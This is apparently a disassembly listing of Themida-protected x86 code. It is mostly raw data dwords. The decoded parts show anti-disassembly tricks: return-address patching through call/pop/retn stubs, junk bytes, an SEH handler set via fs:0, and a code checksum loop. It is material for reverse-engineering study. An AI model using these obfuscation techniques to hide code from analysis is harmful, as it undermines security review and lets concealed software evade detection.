0F000008h, 4986h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9869B60h dd 37h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h dd 4BC35242h, 0B25388B3h, 267DB58Bh, 0C08B07FAh, 0AE9h dd 19082200h, 0C24FEE4Bh, 8B27411Ch, 0E9D88BC3h, 0Bh, 80B471A9h dd 6BF0AAF9h, 0F9DCBD43h, 276585C7h, 0D55707FAh, 1501E68h dd 0FA2C959Dh, 0C08B5F07h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0A9C35040h, 0D375DC04h, 0BF0F603Eh, 65BD89CAh dd 6107FA1Eh, 719BD81h, 7D007FAh, 850F0000h, 5Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0FEC35141h, 0F1214DB3h dd 8B0F6Eh, 0F000000h, 688h, 8DB58B00h, 0FF07FA08h, 0FA071985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 243FCA0Dh, 0C5EC7629h, 0FFFC6AC2h, 0FA0719B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 9BCA810Eh, 892B95A0h, 81BD8B08h, 0FF07FA28h dd 0FA101995h, 0B18D0107h, 9007FA15h, 12E9h, 47147400h dd 9730996Dh, 6E28F558h, 5BAC05D8h, 66C4B495h, 9589F88Bh dd 7FA2A65h, 0B8C0Fh, 0BD890000h, 7FA1131h, 25E78166h dd 53006A41h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 55745CFFh, 23F145EFh, 0FA2385BDh, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 56006A8Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6624502Bh, 0F703ABFh, 583h, 1965BF00h, 0BD8B22C3h dd 7FA2DB5h, 0BD89F08Bh, 7FA2C41h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2A0F23Dh, 0B2E211C2h dd 9B4DC681h, 6A4CABh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0B1803CC3h, 0BCEC1FD6h, 55006A8Eh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F777E9BBh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0E70A6BC3h, 600E0335h, 89D08B66h dd 0FA0D99B5h, 5E907h, 6B120000h, 61671BA5h, 34E9B58Bh dd 0AE807FAh, 3000000h, 0E901416Eh, 73CD3A93h, 35BD89EDh dd 0E807FA2Ch, 14h, 1079F981h, 0B5CE22BBh, 69AD5CE6h, 0AEF28B45h dd 299EF79h, 4CB7E781h, 0C78115ABh, 7D5666FBh, 6A605F5Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 4B6CC355h, 665388B3h, 0B94108BEh, 0FFFFFFFEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1AC35343h dd 3465DDCEh, 8D216845h, 7FA185Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0DBC35747h, 0E2382373h, 7679B713h dd 0CD858BBCh, 6607FA18h, 2123EAB8h, 0FA0DA58Dh, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 49858B23h, 8B07FA05h, 55BD8BFBh, 8B07FA2Bh, 0FA185D8Dh dd 0B1952907h dd 8307FA23h, 850F01E1h, 6, 25E1B58Bh, 8D8B07FAh, 7FA0DA5h dd 18870F57h, 0E9000000h, 13h, 6D770F51h, 7D7AE2C9h, 882BAE14h dd 0D343015Bh, 5EE0DE2Ch, 0F01E183h, 2585h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 2ABF3290h, 340EB937h, 6061C68Bh, 0D2DB58Bh, 0FEB907FAh dd 6AFFFFFFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8927C352h, 0FA2F85BDh, 0F18D2107h dd 0F07FA2Eh, 287h, 21F08B00h, 0FA26198Dh, 49B58907h, 8B07FA27h dd 0FA2EF18Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0EB14288Bh, 3914F781h dd 0E1830AC7h, 6850F01h, 0B000000h, 0FA0F199Dh, 198D8B07h dd 6A07FA26h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 746EC355h, 1E1836Fh, 0C850Fh dd 958B0000h, 7FA2A1Dh, 0EC5BD8Bh, 606107FAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9EC35343h, 80BA49A4h dd 0FEB9DCC7h, 23FFFFFFh, 0FA26B985h, 0C58D2107h, 6A07FA0Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 2181C353h, 0FA05218Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 63943E6Ah dd 95899E80h, 7FA0D41h, 0CC58D8Bh, 870F07FAh, 3, 83F0BF0Fh dd 850F01E1h, 6, 18A9BD89h, 8D8B07FAh, 7FA0521h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h, 2999BD89h dd 0BD2907FAh, 7FA34E9h, 0F01E183h, 2385h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0FB8F8E04h, 46BAE428h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0F31061C3h, 8BDCF414h dd 0FA242DB5h, 0FFFEB907h, 9D8BFFFFh, 7FA0B9Dh, 27658D21h dd 958B07FAh, 7FA02F5h, 1E898D21h, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E11A6BC3h dd 2980847Bh, 658D8B7Ah, 0F07FA27h, 0E183DEBFh, 2E850F01h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0DD23C350h, 50F9E168h, 2AE1BD8Bh dd 315807FAh, 0FA1E69B5h, 898D8B07h, 8907FA1Eh, 0FA2C0985h dd 1E18307h, 0E850Fh, 0BD8B0000h, 7FA2AA1h, 398D8951h dd 5E07FA08h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9491BC3h, 9, 0F090BFB8h, 23268951h dd 1985C7FDh, 0D007FA07h, 6A000007h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC66C353h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 7BE4C757h, 6107EBB9h, 0E99Dh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 9DB78C3h, 0FA0E8195h, 6A30B207h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0C770C357h dd 0C680FB67h, 8B009226h, 5000BAC1h, 0EA81F011h, 0F0000000h dd 8914C283h, 0FA114D95h, 14EA8307h, 5AEA858Dh, 645007FEh dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h dd 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h, 81D0033Ch, 45503Ah dd 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh dd 0FA14A985h, 3C400307h, 650B70Fh, 18B59589h, 508B07FAh dd 5D958950h, 507FA08h, 0F8h, 30C508Bh, 0B59589D1h, 307FA22h dd 95890850h, 7FA2451h, 58F64h, 83000000h, 13E904C4h, 51000000h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h dd 7FA3135h, 24840F00h, 0C6000000h, 0FA066585h, 0D2684707h dd 0FFD49AA7h, 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 0FF006AD0h dd 1D8589D0h, 8B07FA0Dh, 6A60D3h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 54B8A3C3h, 0AF433DD2h dd 2BB356AAh, 0FA30BD8Dh, 28C0F07h, 0B5000000h, 66C08BCAh dd 8AB3F181h, 0CDBD83F8h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 438h, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 438h, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 6ACEBF0Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 1D4DC352h, 0F913CC38h, 0C08B0E4Bh, 0E8F9B70Fh, 827h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h dd 8915C4DDh, 0FA16F185h, 0C8BF0F07h, 7FAE8h, 59858900h dd 6A07FA2Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0D04EC355h, 0F3BF6B0h, 0CCE8F9B7h dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0BD4FC351h, 0EE6784F0h, 0B18589F5h dd 8B07FA16h, 0FA2E218Dh, 799E807h, 9D290000h, 7FA015Dh dd 918589F9h, 6A07FA33h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 5002C356h, 0E865EF75h dd 767h, 0EE9h, 39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 897AA39Fh dd 0FA167D85h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A2BC60FDh, 5E5DA888h dd 0F7B70F11h, 722E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 24D77DCFh, 89CE8B66h dd 0FA0D3185h, 4870F07h, 66000000h, 0E812CFB9h, 6EBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ADC35747h, 8D39072Fh dd 0DE81B4D7h, 684AB830h, 25158589h, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2B0FCC3h dd 0F684932h, 94E8F2BFh, 6A000006h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2D0FC355h dd 5D3DFC38h, 6657ED01h, 510FF781h, 0A9858959h, 6007FA2Eh dd 16EE8166h, 0D5BD8B54h, 6107FA17h, 652E8h, 0F9D98000h dd 112D8589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0AE58CAC3h, 16DAE867h, 95891A44h dd 7FA34A1h, 0C360F781h, 14E861F3h, 0B000006h, 0FA0F2DB5h dd 6D858907h, 0BF07FA2Dh, 4DF02A90h, 5FEE8h, 90D68100h dd 893C2D17h, 0FA214985h, 0C58D0107h, 0E807FA11h, 5E7h dd 8589F18Bh, 7FA28EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0ECC35747h, 0CD2C38FDh, 0E8FC9745h, 5B7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h dd 67C4C45h, 2377032Ch, 0FA25A58Dh, 3D858907h, 2907FA24h dd 0FA0EE98Dh, 57DE807h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 6C55BBC3h, 0A59501E0h, 8907FA21h, 0FA1E9985h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 463BE387h, 52DE8FCh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 9B3FAC3h, 71858936h dd 6A07FA0Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 1A18C356h, 0DF1BBD50h, 733AD1C1h dd 2805BD89h, 0D8E807FAh, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0BB64C352h dd 6687C846h, 8589A928h, 7FA0EEDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E5C35242h, 0B0E97Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 8100951Fh dd 8D8BB9C4h, 7FA23B1h, 8BD8B60Fh, 0FA26EDBDh, 6BA07h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 6E2100C3h, 97D27697h, 530DD1CAh, 5E9h, 0AE68F400h dd 8B5FDD37h, 0CE8C3h, 0AC320000h, 0E35760DEh, 0D649584Bh dd 8B5628A7h, 8B5E5EFAh, 0FA25998Dh, 4E8C107h, 2D958D2Bh dd 0F76607FAh, 11B509E2h, 2B07FA06h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B99589F2h dd 5007FA1Eh, 6A241C89h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 37E1C352h, 9F138A36h dd 0FFC68850h, 0FA10A595h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6A5B2A17h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 7FDBC350h, 0D0B3B3E4h, 56A3D681h, 958D5986h dd 7FA055Dh, 8E9h, 2CCFDA00h, 99442B9Ah, 6A1A89B9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 8815C353h, 0E8F4C395h, 13h, 15B882Bh, 0DE2CD343h, 88E366E0h dd 0AE4F0AE3h, 89AF6B2Ch, 0FA291185h, 42895907h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0C8DB0A67h, 8DA2B102h, 0FA171D95h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 3DF8DB1h, 381FC238h, 8A1691B9h, 6A1A8910h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 94C9C356h, 6B8E68D4h, 42895F52h, 0B9852904h, 8D07FA14h dd 0FA15F195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0E280F755h, 0E57BB00Bh dd 0EE8166B3h, 1A890DB4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 41C35343h, 2E388FB5h, 953E150h, 0FA143D9Dh dd 0BD8B5E07h, 7FA15F9h, 6A044289h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0FEF2C352h dd 8589B59Ah, 7FA1635h, 0F9958Dh, 0AFB107FAh, 6A1A89h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 529E27C3h, 13B96641h, 442891Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D0C35343h, 41BD890Fh, 8D07FA27h dd 0FA108D95h, 0DE816607h, 0F08BDCD3h, 6A1A89h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4A5A8DC3h, 0BD89A848h, 7FA2C69h, 6A044289h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 5580C357h, 9D958D63h, 2907FA0Eh, 0FA051985h, 6A1A8907h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 5C5AC351h, 95296741h, 7FA18CDh, 89044289h dd 0FA26DDB5h, 3D958D07h, 6607FA21h, 1A89F08Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 75C35343h, 0A7020FB6h dd 0B1D83A94h, 17B9661Eh, 4428954h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E8C35040h, 282323CCh, 0B41ECF5Ch dd 0F18B66F7h, 1175958Dh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 18559FC3h, 0EDEACF08h dd 0FE8B5C6Fh, 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 1A610DC3h, 937A801Fh, 25FD8D8Bh dd 428907FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 3E83BED2h, 32DF180h, 0FA31DDBDh dd 0A8E907h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 3191E1C3h, 0CB5B5AA4h, 10E9C721h dd 8A000000h, 0D0209206h, 16BD2DB2h, 2F8F6245h, 6AB2A489h dd 45BD0900h, 6A07FA1Fh, 0BE900h, 20670000h, 1FCD2E5Fh dd 9D52C21Dh, 6A006AA8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 834FC356h, 6A0C19h dd 20E1B58Bh, 95FF07FAh, 7FA2259h, 557A2B9h, 6AC325h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BE6640C3h, 0C58ABCE9h, 6830Fh, 85890000h, 7FA0EB1h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 472C0AC3h, 9AC935B5h, 14E83E26h, 0CB000000h dd 63770545h, 948FC1F5h, 961A2E02h, 0B80B6ACAh, 0E95A87ECh dd 13h, 0AADAC40Ch, 0E18F5453h, 72E8CFD6h, 59DA6D8Eh, 5FEBEDEEh dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 38B8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 38B85350h, 89000004h dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 60585BD3h, 1C91B509h dd 860F07FAh, 6, 7818509h, 6A6107FAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3910C350h dd 9D48B5D0h, 3466AB96h, 858DC08Bh, 7FA0199h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EFC35040h, 7CEEE6D7h dd 6D8621A8h, 41858962h, 9007FA1Ch, 50DF8B66h, 49BFBB66h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 1463486Bh, 66AA1FA4h, 0E860BAD5h, 0Ch, 0EE180B0Ah dd 50CC87BEh, 1CC41E5Fh, 5880F480h, 0F98B6660h, 3DC3BB66h dd 6A6161h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 83C35646h, 94B31768h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 704633C3h dd 0DABB66C5h, 0B858DD8h, 6A07FE68h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C1C8C357h dd 0F6DCDE4h, 68Eh, 119D0300h, 8307FA25h, 6A05C0h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0E85CB3C3h, 80BB6679h, 48950A2h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9E9D019h, 6A000000h dd 0BE9AF175h, 16E3349Bh, 0A820Fh, 5E90000h, 0FD000000h dd 0AE8FFB44h, 8960006Ah, 0FA2D4D9Dh, 0F19D8B07h, 6107FA23h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 7100A5C3h, 2BE995FFh, 6A07FAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D8DE6C3h dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0E2C35343h, 417C7D52h, 0C9BD3387h, 0FF07FA2Ah dd 55006AD1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0E62A0C64h, 0BBDB9C9Bh, 9933707h, 0DA816660h dd 7BB9051Fh, 612DCE82h, 33EDBD83h, 0F0107FAh, 8385h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0AE34B883h, 6ADD8A0Bh, 57006A02h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 59B350Fh, 9D8904CDh dd 7FA317Dh, 8A90F98Bh, 299050FAh, 0FA31119Dh, 9595FF07h dd 6A07FA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0B69FC350h, 8D29AB71h, 7FA11C9h dd 0D42E9h, 0E800h, 815D0000h, 0FE6815EDh, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9B64C947h, 5D1A2F4Ah, 52006A88h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 8D00B162h, 2135BD23h dd 0EF8107FAh, 51C91DF4h, 0B959858Dh, 5E907FDh, 79000000h dd 0E0D2A969h, 0BB665090h, 8B90866Eh, 0FA2195BDh, 35FF6407h dd 0 ; --------------------------------------------------------------------------- mov [ebp+7FA2EF9h], edi mov large fs:0, esp clc inc dword ptr [ebp+7FA1049h] push 0 push edx call sub_5C9CEF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9CEF proc near ; CODE XREF: Themida_:005C9CE7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5C9CEF endp ; --------------------------------------------------------------------------- db 0DBh dd 8A0Fh, 0FF6A0000h, 0F1B5FFF5h, 6A07FA16h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 1C9C351h, 19A06FA1h, 0A5850133h, 0FF07FA0Ch, 0FA287595h dd 0F2E907h, 0BD8B0000h, 7FA2139h, 8B6600B0h, 8B70E6DAh dd 0FA0831BDh, 3C71E407h, 0D5830F61h, 80000000h, 0B60F8AD3h dd 8B97B3C8h, 0FA0715BDh, 6BA07h, 9E80000h, 83000000h dd 7A625EFCh, 145F26FDh, 0D4F38166h, 0C18B5B70h, 4E8C1F8h dd 4870Fh, 0BF660000h, 0F7669BB1h, 0DE9E2h, 83E20000h dd 9463C8C2h, 8FD6A176h, 2B8DAB53h, 89BD8BC8h, 8B07FA0Bh dd 0B7BBBFD1h, 0B70F72E9h, 14E9FBh, 9E90000h, 6E000000h dd 0E6B0D1Ch, 41B95016h, 2E19BD8Bh, 858B07FAh, 7FA055Dh dd 71BEAABFh, 7C0837Bh, 8900C083h, 0FA2EA5BDh, 0FD03B07h dd 0D83h, 0DEB70F00h, 37E9h, 0F3816600h, 8D8B00E2h, 7FA185Dh dd 2BD19D03h, 0E18307FAh, 1D840F01h, 0F000000h, 0A583DEB7h dd 7FA185Dh, 6E380FEh, 55D9589h, 816607FAh, 0E93517C3h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE0197h] jmp loc_5C9E4C ; --------------------------------------------------------------------------- db 6 db 90h db 51h, 0A9h, 0AAh dd 52B746C0h, 0BA2B9020h ; --------------------------------------------------------------------------- loc_5C9E4C: ; CODE XREF: Themida_:005C9E3Aj push 0 push 0 push eax call sub_5C9E59 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9E59 proc near ; CODE XREF: Themida_:005C9E51p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5C9E59 endp ; --------------------------------------------------------------------------- dec esi test eax, 0EB817499h sub dl, bl lds edi, [ebx-1] xchg eax, ebp sbb [eax], edx cli pop es pusha mov si, 19D0h add [ebp+7FA21A5h], ecx popa mov ecx, 799h sub [ebp+7FA1495h], esi and ecx, 0FFFFFFFCh mov [ebp+7FA01B9h], edi cld sub [ebp+7FA1451h], edi sub eax, eax mov bx, 7A66h mov edx, 0 push 0 push edi call sub_5C9EB6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9EB6 proc near ; CODE XREF: Themida_:005C9EAEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5C9EB6 endp ; --------------------------------------------------------------------------- mov ds:[ebp+7FA1501h], edx jl loc_5C9EE9 jmp loc_5C9EE9 ; --------------------------------------------------------------------------- dd 0DBA75CDh, 0A72F4D29h, 4D570A3Bh, 0D988099Dh ; --------------------------------------------------------------------------- sahf loc_5C9EE9: ; CODE XREF: Themida_:005C9ECDj ; Themida_:005C9ED3j ... lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C9EE9 push 0 push edi call sub_5C9F00 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9F00 proc near ; CODE XREF: Themida_:005C9EF8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5C9F00 endp ; --------------------------------------------------------------------------- dd 0B0927657h, 8370F458h, 0BB663AC8h, 53B72CAAh, 880Dh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 459D3128h, 0E96D11A7h, 13h, 1E7A8D5Ah, 0E14228F9h dd 4705D553h, 15AE1674h, 8BB621F8h, 0FA1CD995h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 6E8DB3Fh, 16000000h, 0C1A7F5F1h, 0E19D89C9h, 5B07FA01h dd 31AD8D8Bh, 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0EE9h, 27868B00h, 0F518D86Bh, 0CB5798E8h dd 6A5E7ACDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CAE6C351h, 0DF06C15Ah, 8A0F2582h dd 6, 0A6D9D8Bh, 0FE907FAh, 52000000h, 0C5CFE975h, 68417743h dd 61C03B55h, 0BD839397h, 7FA2A29h, 84840F00h, 8B000000h dd 0FA0E099Dh, 0B807h, 8D8D0000h, 7FA4F66h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h, 4527D09Bh dd 0E8816660h, 9D33E24Dh, 7FA3159h, 6AE1FF61h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 7255C356h, 9E8h, 0CFA5D700h, 0B8AFA1C1h, 9D31DD80h dd 7FA23A5h, 0C800F5Fh, 0F000000h, 68Fh, 1D9D8B00h, 8307FA07h dd 0FA2BD9BDh, 840F0007h, 4D9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 40C35242h, 31F6F635h, 4D932A03h dd 0DE881h, 515B0000h, 95A8B042h, 534581E3h, 893572B9h dd 0FA11A19Dh, 0BD835B07h, 7FA2BD9h, 0A9840F01h, 66000004h dd 0BD83F98Bh, 7FA2BD9h, 63860F03h, 89000004h, 0FA240D9Dh dd 6A6007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0ABAE94C3h, 0D98C665Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0BBC35040h, 3C8876EDh, 0B19D8B5Bh dd 0E807FA21h, 0Eh, 18588413h, 0C8902775h, 209670A1h, 9D8B98F4h dd 7FA25FDh, 4E1805Bh, 0AD9B70Fh, 0A1840FC9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 2902C356h, 0FA01E5B5h, 12E907h, 0F0AD0000h dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0FE9858Bh dd 8B6607FAh, 0E18533F8h, 6A07FA15h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B9ECC356h dd 4A3E2865h, 41950174h, 9007FA08h, 0E9525053h, 0Fh, 0FDE05BB9h dd 14A69284h, 73A2A999h, 0FC9E158h, 5A5B5031h, 90505B58h dd 9C4ABB66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 3ED861C3h, 0FA590FAh, 981h, 3850F00h dd 0F000000h, 0E568FAB7h, 5038FE73h, 0EE852h, 227A0000h dd 45C40D17h, 0DA5571F8h, 57DB0771h, 860Fh, 0F5F0000h dd 2820F31h, 8B000000h, 81585AFBh, 701A2434h, 0B70F38E1h dd 12E9DAh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h, 0FE480086h dd 526D3610h, 1CE995FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0DA48FCC3h, 0E6126DF6h dd 219D8973h, 8907FA10h, 0FDEB9685h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D70B1730h dd 89CFAB2h, 0BB668843h, 0FCE93488h, 